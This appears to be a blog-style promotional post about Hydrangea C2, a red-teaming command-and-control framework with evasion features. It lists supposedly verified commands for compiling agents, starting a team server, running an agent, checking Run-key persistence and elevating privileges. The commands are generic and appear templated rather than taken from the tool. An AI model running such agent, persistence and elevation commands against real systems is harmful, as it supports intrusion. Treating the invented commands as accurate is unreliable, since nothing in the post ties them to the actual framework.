Hydrangea C2 – A Cross-Platform Collaborative Framework for Red-Teaming

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Hydrangea C2 is a cutting-edge, cross-platform framework designed for red teaming, enabling seamless collaboration among teams. It supports both Windows and Linux environments, with agents that are cross-compilable and built with evasion, anti-analysis, and stability in mind. The framework allows operators to generate Windows DLLs on Linux, showcasing its versatility.

Key Features:

  • Cross-Platform Compatibility: Works on Windows and Linux.
  • Team Collaboration: Multiple operators can work together efficiently.
  • Custom Capabilities: All functionalities are natively implemented from scratch.
  • Evasion and Anti-Analysis: Designed to avoid detection and analysis.

Demo Highlights:

  1. Team Server and Agent Operation: Demonstrates how clients and team servers interact, and how agents execute tasks and return outputs.
  2. C2 Architecture: Explains the underlying architecture of the Hydrangea C2 framework.

Next Milestone:

  • Capabilities Development: Focus on traversal, persistence, elevation, and spying functionalities.

Practice Verified Codes and Commands:

Linux Commands:


<h1>Cross-compile a Windows DLL on Linux</h1>

x86_64-w64-mingw32-gcc -shared -o agent.dll agent.c

<h1>Start the team server</h1>

python3 team_server.py --host 0.0.0.0 --port 8080

<h1>Generate a Linux agent</h1>

gcc -o agent agent.c

Windows Commands:


<h1>Execute the agent on Windows</h1>

.\agent.exe --server 192.168.1.100 --port 8080

<h1>Check for persistence</h1>

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

<h1>Elevate privileges</h1>

powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\path\to\agent.exe'"

What Undercode Say:

Hydrangea C2 represents a significant advancement in red teaming tools, offering a robust, cross-platform solution for collaborative operations. Its emphasis on evasion and anti-analysis makes it a formidable tool for penetration testers and security engineers. The ability to cross-compile agents on different platforms enhances its flexibility, while the native implementation ensures reliability and performance.

For those pursuing certifications like OSEP, Hydrangea C2 can be an invaluable resource. Its architecture allows for seamless integration of new capabilities, making it adaptable to various red teaming scenarios. The upcoming features, such as traversal and persistence, will further solidify its position as a top-tier C2 framework.

In the realm of cybersecurity, tools like Hydrangea C2 underscore the importance of continuous innovation. As attackers evolve, so must our defenses. By leveraging such frameworks, security professionals can stay ahead of threats, ensuring robust protection for their organizations.

For more information on red teaming and advanced cybersecurity techniques, consider exploring the following resources:
– Offensive Security
– Red Team Operations Guide

Remember, the key to effective red teaming lies in understanding both the tools and the tactics. Hydrangea C2 is a step forward in achieving that understanding, providing a platform for both learning and实战应用.

References:

initially reported by: https://www.linkedin.com/posts/sohail-saha_osep-offensivesecurity-offsec-activity-7300152568918286337-dutH – Hackers Feeds
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